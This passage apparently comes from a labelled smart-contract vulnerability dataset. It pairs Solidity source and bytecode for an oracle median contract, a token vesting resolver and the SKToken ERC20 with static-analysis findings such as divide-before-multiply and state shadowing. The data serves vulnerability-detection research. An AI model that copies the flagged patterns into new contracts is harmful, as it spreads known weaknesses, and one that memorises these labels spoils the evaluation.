(reportTimestampRecent < minValidTimestamp) { // Recent report is too old. emit ReportTimestampOutOfRange(providerAddress); } else { // Using recent report. validReports[size++] = providerReports[providerAddress][ index_recent ] .payload; } } } if (size < minimumProviders) { return (0, false); } return (Select.computeMedian(validReports, size), true); } /** * @notice Authorizes a provider. * @param provider Address of the provider. */ function addProvider(address provider) external onlyOwner { require(providerReports[provider][0].timestamp == 0); providers.push(provider); providerReports[provider][0].timestamp = 1; emit ProviderAdded(provider); } /** * @notice Revokes provider authorization. * @param provider Address of the provider. */ function removeProvider(address provider) external onlyOwner { delete providerReports[provider]; for (uint256 i = 0; i < providers.length; i++) { if (providers[i] == provider) { if (i + 1 != providers.length) { providers[i] = providers[providers.length - 1]; } providers.length--; emit ProviderRemoved(provider); break; } } } /** * @return The number of authorized providers. */ function providersSize() external view returns (uint256) { return providers.length; } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166312e800f1811461010b5780631e20d14b146101325780633bc5de301461014c57806346e2577a1461017a57806350f3fc811461019b578063715018a6146101cf5780638a355a57146101e45780638da5cb5b146102055780638f32d59b1461021a578063b577c0c714610243578063c4d66de814610258578063d13d597114610279578063da6b0eea1461028e578063dcbb8253146102a6578063df982985146102bb578063ef35bcce146102d0578063f10864b6146102e8578063f2fde38b14610325578063f68be51314610346575b600080fd5b34801561011757600080fd5b5061012061035e565b60408051918252519081900360200190f35b34801561013e57600080fd5b5061014a600435610364565b005b34801561015857600080fd5b50610161610480565b6040805192835290151560208301528051918290030190f35b34801561018657600080fd5b5061014a600160a060020a03600435166107cc565b3480156101a757600080fd5b506101b36004356108ac565b60408051600160a060020a039092168252519081900360200190f35b3480156101db57600080fd5b5061014a6108d4565b3480156101f057600080fd5b5061014a600160a060020a036004351661093e565b34801561021157600080fd5b506101b3610a8a565b34801561022657600080fd5b5061022f610a9a565b604080519115158252519081900360200190f35b34801561024f57600080fd5b50610120610aab565b34801561026457600080fd5b5061014a600160a060020a0360043516610ab1565b34801561028557600080fd5b5061014a610bc8565b34801561029a57600080fd5b5061014a600435610c06565b3480156102b257600080fd5b50610120610c1e565b3480156102c757600080fd5b50610120610c24565b3480156102dc57600080fd5b5061014a600435610c2a565b3480156102f457600080fd5b5061030c600160a060020a0360043516602435610c4f565b6040805192835260208301919091528051918290030190f35b34801561033157600080fd5b5061014a600160a060020a0360043516610c7c565b34801561035257600080fd5b5061014a600435610c9b565b60695481565b60008061036f610f03565b5050336000818152606760209081526040808320815180830190925280548083526002820154938301939093529394509190819081106103ae57600080fd5b6020830151835110156103c25760016103c5565b60005b9150816001039050426103f6606954858560ff166002811015156103e557fe5b60200201519063ffffffff610cc416565b111561040157600080fd5b428460ff83166002811061041157fe5b600202016000018190555085848260ff1660028110151561042e57fe5b6002020160010155604080518781524260208201528151600160a060020a038816927f460fcc5a1888965d48c2cab000fe20da51b1297d995af79a1924e2312d0d82b3928290030190a2505050505050565b600080600060606000806000806000610497610f1e565b6000806000806066805490509b508b6040519080825280602002602001820160405280156104cf578160200160208202803883390190505b509a50600099506104eb60685442610cdd90919063ffffffff16565b985061050260695442610cdd90919063ffffffff16565b9750600096505b8b87101561079557606680548890811061051f57fe5b6000918252602080832090910154600160a060020a031680835260679091526040808320815180830190925291985091600290835b82821015610590578382600202016040805190810160405290816000820154815260200160018201548152505081526020019060010190610554565b50929750879250600191506105a29050565b60200201515185515110156105b85760016105bb565b60005b9350600184900392508460ff8516600281106105d357fe5b6020020151519150878211156106f457600160a060020a038616600090815260676020526040902060ff84166002811061060957fe5b60020201549050888110156106595760408051600160a060020a038816815290517f71f61642cb57ac11764a2f35fb4edc5361ced458af35bbed8f5ebf708c10e3419181900360200190a16106ef565b878111156106a25760408051600160a060020a038816815290517f71f61642cb57ac11764a2f35fb4edc5361ced458af35bbed8f5ebf708c10e3419181900360200190a16106ef565b600160a060020a038616600090815260676020526040902060ff8416600281106106c857fe5b60020201600101548b8b806001019c508151811015156106e457fe5b602090810290910101525b61078a565b8882101561073d5760408051600160a060020a038816815290517f71f61642cb57ac11764a2f35fb4edc5361ced458af35bbed8f5ebf708c10e3419181900360200190a161078a565b600160a060020a038616600090815260676020526040902060ff85166002811061076357fe5b60020201600101548b8b806001019c5081518110151561077f57fe5b602090810290910101525b600190960195610509565b606a548a10156107ab5760009d508d9c506107bc565b6107b58b8b610cf4565b60019d509d505b5050505050505050505050509091565b6107d4610a9a565b15156107df57600080fd5b600160a060020a0381166000908152606760205260409020541561080257600080fd5b6066805460018082019092557f46501879b8ca8525e8c2fd519e2fbfcfa2ebea26501294aa02cbfcfb12e9435401805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038416908117909155600090815260676020526040812090600202015560408051600160a060020a038316815290517fae9c2c6481964847714ce58f65a7f6dcc41d0d8394449bacdf161b5920c4744a9181900360200190a150565b60668054829081106108ba57fe5b600091825260209091200154600160a060020a0316905081565b6108dc610a9a565b15156108e757600080fd5b603354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26033805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000610948610a9a565b151561095357600080fd5b600160a060020a038216600090815260676020526040812061097491610f4c565b5060005b606654811015610a865781600160a060020a031660668281548110151561099b57fe5b600091825260209091200154600160a060020a03161415610a7e576066546001820114610a29576066805460001981019081106109d457fe5b60009182526020909120015460668054600160a060020a0390921691839081106109fa57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a031602179055505b6066805490610a3c906000198301610f68565b5060408051600160a060020a038416815290517f1589f8555933761a3cff8aa925061be3b46e2dd43f621322ab611d300f62b1d99181900360200190a1610a86565b600101610978565b5050565b603354600160a060020a03165b90565b603354600160a060020a0316331490565b606a5481565b60008054610100900460ff1680610acb5750610acb610e7b565b80610ad9575060005460ff16155b1515610b6c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f436f6e747261637420696e7374616e63652068617320616c726561647920626560448201527f656e20696e697469616c697a6564000000000000000000000000000000000000606482015290519081900360840190fd5b50600080546033805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03949094169390931790925561ff001980831661010090811760ff19166001179091169281900460ff16151502919091179055565b3360008181526067602052604081205411610be257600080fd5b600160a060020a031660009081526067602052604090206001808255600290910155565b610c0e610a9a565b1515610c1957600080fd5b606955565b60665490565b60685481565b610c32610a9a565b1515610c3d57600080fd5b60008111610c4a57600080fd5b606a55565b60676020526000828152604090208160028110610c6857fe5b600202018054600190910154909250905082565b610c84610a9a565b1515610c8f57600080fd5b610c9881610e85565b50565b610ca3610a9a565b1515610cae57600080fd5b6312bed400811115610cbf57600080fd5b606855565b600082820183811015610cd657600080fd5b9392505050565b60008083831115610ced57600080fd5b5050900390565b600080600080600085118015610d0b575084865110155b1515610d1657600080fd5b600192505b84831015610dee578291505b600082118015610d6757508582815181101515610d4057fe5b906020019060200201518660018403815181101515610d5b57fe5b90602001906020020151115b15610de3578582815181101515610d7a57fe5b9060200190602002015190508560018303815181101515610d9757fe5b906020019060200201518683815181101515610daf57fe5b602090810290910101528551819087906000198501908110610dcd57fe5b6020908102909101015260001990910190610d27565b600190920191610d1b565b6002850660011415610e1c578560028604815181101515610e0b57fe5b906020019060200201519350610e72565b6002610e6587600183890403815181101515610e3457fe5b602090810290910101518860028904815181101515610e4f57fe5b602090810290910101519063ffffffff610cc416565b811515610e6e57fe5b0493505b50505092915050565b303b8015905b5090565b600160a060020a0381161515610e9a57600080fd5b603354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36033805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051808201825290600290829080388339509192915050565b6080604051908101604052806002905b610f36610f91565b815260200190600190039081610f2e5790505090565b5060008082556001820181905560028201819055600390910155565b815481835581811115610f8c57600083815260209020610f8c918101908301610fa8565b505050565b604080518082019091526000808252602082015290565b610a9791905b80821115610e815760008155600101610fae5600a165627a7a7230582036e565004c6d8b35ca9d83e8da58f51d5d72a6d2f76b8a7347b7464fa56d55bb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
3,819
0x676ef6a5d74617b0364a223748e83b491445d977
/** *Submitted for verification at Etherscan.io on 2021-05-31 */ // Sources flattened with hardhat v2.3.0 https://hardhat.org // File @openzeppelin/contracts/math/[email protected] // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File contracts/InstaVestingResolver.sol interface TokenInterface { function balanceOf(address account) external view returns (uint); function delegate(address delegatee) external; function transfer(address dst, uint rawAmount) external returns (bool); } interface InstaVestingInferface { function owner() external view returns(address); function recipient() external view returns(address); function vestingAmount() external view returns(uint256); function vestingBegin() external view returns(uint32); function vestingCliff() external view returns(uint32); function vestingEnd() external view returns(uint32); function lastUpdate() external view returns(uint32); function terminateTime() external view returns(uint32); } interface InstaVestingFactoryInterface { function recipients(address) external view returns(address); } contract InstaTokenVestingResolver { using SafeMath for uint256; TokenInterface public constant token = TokenInterface(0x6f40d4A6237C257fff2dB00FA0510DeEECd303eb); // InstaVestingFactoryInterface public constant factory = InstaVestingFactoryInterface(0x3730D9b06bc23fd2E2F84f1202a7e80815dd054a); InstaVestingFactoryInterface public immutable factory; constructor(address factory_) { factory = InstaVestingFactoryInterface(factory_); } struct VestingData { address recipient; address vesting; address owner; uint256 vestingAmount; uint256 vestingBegin; uint256 vestingCliff; uint256 vestingEnd; uint256 lastClaimed; uint256 terminatedTime; uint256 vestedAmount; uint256 unvestedAmount; uint256 claimedAmount; uint256 claimableAmount; } function getVestingByrecipient(address recipient) external view returns(VestingData memory vestingData) { address vestingAddr = factory.recipients(recipient); return getVesting(vestingAddr); } function getVesting(address vesting) public view returns(VestingData memory vestingData) { if (vesting == address(0)) return vestingData; InstaVestingInferface VestingContract = InstaVestingInferface(vesting); uint256 vestingBegin = uint256(VestingContract.vestingBegin()); if (vestingBegin == 0) return vestingData; uint256 vestingEnd = uint256(VestingContract.vestingEnd()); uint256 vestingCliff = uint256(VestingContract.vestingCliff()); uint256 vestingAmount = VestingContract.vestingAmount(); uint256 lastUpdate = uint256(VestingContract.lastUpdate()); uint256 terminatedTime = uint256(VestingContract.terminateTime()); uint256 claimedAmount; uint256 claimableAmount; uint256 vestedAmount; uint256 unvestedAmount; if (block.timestamp > vestingCliff) { uint256 time = terminatedTime == 0 ? block.timestamp : terminatedTime; vestedAmount = vestingAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin); unvestedAmount = vestingAmount.sub(vestedAmount); claimableAmount = vestingAmount.mul(time - lastUpdate).div(vestingEnd - vestingBegin); claimedAmount = vestedAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin); } vestingData = VestingData({ recipient: VestingContract.recipient(), owner: VestingContract.owner(), vesting: vesting, vestingAmount: vestingAmount, vestingBegin: vestingBegin, vestingCliff: vestingCliff, vestingEnd: vestingEnd, lastClaimed: lastUpdate, terminatedTime: terminatedTime, vestedAmount: vestedAmount, unvestedAmount: unvestedAmount, claimedAmount: claimedAmount, claimableAmount: claimableAmount }); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80637429e9ab14610051578063c45a01551461007a578063cc49ede71461008f578063fc0c546a146100a2575b600080fd5b61006461005f3660046107a6565b6100aa565b60405161007191906108ea565b60405180910390f35b610082610165565b6040516100719190610827565b61006461009d3660046107a6565b610189565b610082610665565b6100b2610723565b6040516375c1018960e11b81526000906001600160a01b037f0000000000000000000000003730d9b06bc23fd2e2f84f1202a7e80815dd054a169063eb82031290610101908690600401610827565b60206040518083038186803b15801561011957600080fd5b505afa15801561012d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061015191906107c2565b905061015c81610189565b9150505b919050565b7f0000000000000000000000003730d9b06bc23fd2e2f84f1202a7e80815dd054a81565b610191610723565b6001600160a01b0382166101a457610160565b60008290506000816001600160a01b031663e29bc68b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156101e457600080fd5b505afa1580156101f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061021c91906107f6565b63ffffffff16905080610230575050610160565b6000826001600160a01b03166384a1931f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561026b57600080fd5b505afa15801561027f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102a391906107f6565b63ffffffff1690506000836001600160a01b031663f3640e746040518163ffffffff1660e01b815260040160206040518083038186803b1580156102e657600080fd5b505afa1580156102fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031e91906107f6565b63ffffffff1690506000846001600160a01b031662728f766040518163ffffffff1660e01b815260040160206040518083038186803b15801561036057600080fd5b505afa158015610374573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061039891906107de565b90506000856001600160a01b031663c04637116040518163ffffffff1660e01b815260040160206040518083038186803b1580156103d557600080fd5b505afa1580156103e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061040d91906107f6565b63ffffffff1690506000866001600160a01b03166348f2f1fa6040518163ffffffff1660e01b815260040160206040518083038186803b15801561045057600080fd5b505afa158015610464573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048891906107f6565b63ffffffff1690506000806000808742111561050057600085156104ac57856104ae565b425b90506104c88b8b036104c28a8e850361067d565b906106c9565b92506104d488846106fb565b91506104e88b8b036104c28a8a850361067d565b93506104fc8b8b036104c2858e850361067d565b9450505b604051806101a001604052808c6001600160a01b03166366d003ac6040518163ffffffff1660e01b815260040160206040518083038186803b15801561054557600080fd5b505afa158015610559573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057d91906107c2565b6001600160a01b031681526020018e6001600160a01b031681526020018c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d357600080fd5b505afa1580156105e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060b91906107c2565b6001600160a01b031681526020018881526020018b81526020018981526020018a8152602001878152602001868152602001838152602001828152602001858152602001848152509b505050505050505050505050919050565b736f40d4a6237c257fff2db00fa0510deeecd303eb81565b60008261068c575060006106c3565b8282028284828161069957fe5b04146106c05760405162461bcd60e51b81526004016106b7906108a9565b60405180910390fd5b90505b92915050565b60008082116106ea5760405162461bcd60e51b81526004016106b790610872565b8183816106f357fe5b049392505050565b60008282111561071d5760405162461bcd60e51b81526004016106b79061083b565b50900390565b604051806101a0016040528060006001600160a01b0316815260200160006001600160a01b0316815260200160006001600160a01b03168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6000602082840312156107b7578081fd5b81356106c081610998565b6000602082840312156107d3578081fd5b81516106c081610998565b6000602082840312156107ef578081fd5b5051919050565b600060208284031215610807578081fd5b815163ffffffff811681146106c0578182fd5b6001600160a01b03169052565b6001600160a01b0391909116815260200190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b6020808252601a908201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b60006101a0820190506108fe82845161081a565b6020830151610910602084018261081a565b506040830151610923604084018261081a565b50606083015160608301526080830151608083015260a083015160a083015260c083015160c083015260e083015160e083015261010080840151818401525061012080840151818401525061014080840151818401525061016080840151818401525061018080840151818401525092915050565b6001600160a01b03811681146109ad57600080fd5b5056fea26469706673582212204822f94a85b79894fafc72a16b7d3a761587fa814fc54123fb2c37e91a95d1d264736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,820
0x2399e275a35b9562f7fc93869abe9948e7b509bb
pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns(uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract SKToken is Pausable { using SafeMath for uint256; string public version = "1.0.0"; string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; bool public mintingFinished = false; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Burn(address indexed from, uint256 value); event Mint(address indexed to, uint256 amount); event MintFinished(); event FrozenFunds(address indexed target, bool frozen); modifier canMint() { require(!mintingFinished); _; } /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function SKToken( uint256 initialSupply, string tokenName, string tokenSymbol ) public { name = tokenName; symbol = tokenSymbol; // Update total supply with the decimal amount totalSupply = initialSupply.mul(10 ** uint256(decimals)); // Give the creator all initial tokens balanceOf[msg.sender] = totalSupply; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint256 _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if sender is frozen require(!frozenAccount[_from]); // Check if recipient is frozen require(!frozenAccount[_to]); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint256 previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); emit Transfer(_from, _to, _value); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) whenNotPaused onlyPayloadSize(2*32) public returns (bool) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused onlyPayloadSize(3*32) public returns (bool success) { require(!frozenAccount[msg.sender]); require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) whenNotPaused onlyPayloadSize(2*32) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) whenNotPaused onlyPayloadSize(2*32) public returns (bool) { allowance[msg.sender][_spender] = allowance[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) whenNotPaused onlyPayloadSize(2*32) public returns (bool) { uint oldValue = allowance[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowance[msg.sender][_spender] = 0; } else { allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) whenNotPaused onlyPayloadSize(32) public returns (bool success) { require(!frozenAccount[msg.sender]); require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) whenNotPaused onlyPayloadSize(2*32) public returns (bool success) { require(!frozenAccount[msg.sender]); require(!frozenAccount[_from]); require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender&#39;s allowance totalSupply = totalSupply.sub(_value); // Update totalSupply emit Burn(_from, _value); return true; } /** * @dev Function to mint tokens * @param target The address that will receive the minted tokens. * @param mintedAmount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address target, uint256 mintedAmount) onlyOwner canMint onlyPayloadSize(2*32) public returns (bool) { balanceOf[target] = balanceOf[target].add(mintedAmount); totalSupply = totalSupply.add(mintedAmount); emit Transfer(address(0), target, mintedAmount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } /** * @dev Function to freeze account * @param target Address to be frozen. * @param freeze either to freeze it or not. * @return A boolean that indicates if the operation was successful. */ function freezeAccount(address target, bool freeze) onlyOwner public returns (bool) { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); return true; } }
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014357806306fdde0314610172578063095ea7b31461020257806318160ddd1461026757806323b872dd14610292578063313ce567146103175780633f4ba83a1461034857806340c10f191461035f57806342966c68146103c457806354fd4d50146104095780635c975abb1461049957806366188463146104c857806370a082311461052d57806379cc6790146105845780637d64bcb4146105e95780638456cb59146106185780638da5cb5b1461062f57806395d89b4114610686578063a9059cbb14610716578063b414d4b61461077b578063d73dd623146107d6578063dd62ed3e1461083b578063e724529c146108b2578063f2fde38b14610919575b600080fd5b34801561014f57600080fd5b5061015861095c565b604051808215151515815260200191505060405180910390f35b34801561017e57600080fd5b5061018761096f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c75780820151818401526020810190506101ac565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020e57600080fd5b5061024d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a0d565b604051808215151515815260200191505060405180910390f35b34801561027357600080fd5b5061027c610b33565b6040518082815260200191505060405180910390f35b34801561029e57600080fd5b506102fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b39565b604051808215151515815260200191505060405180910390f35b34801561032357600080fd5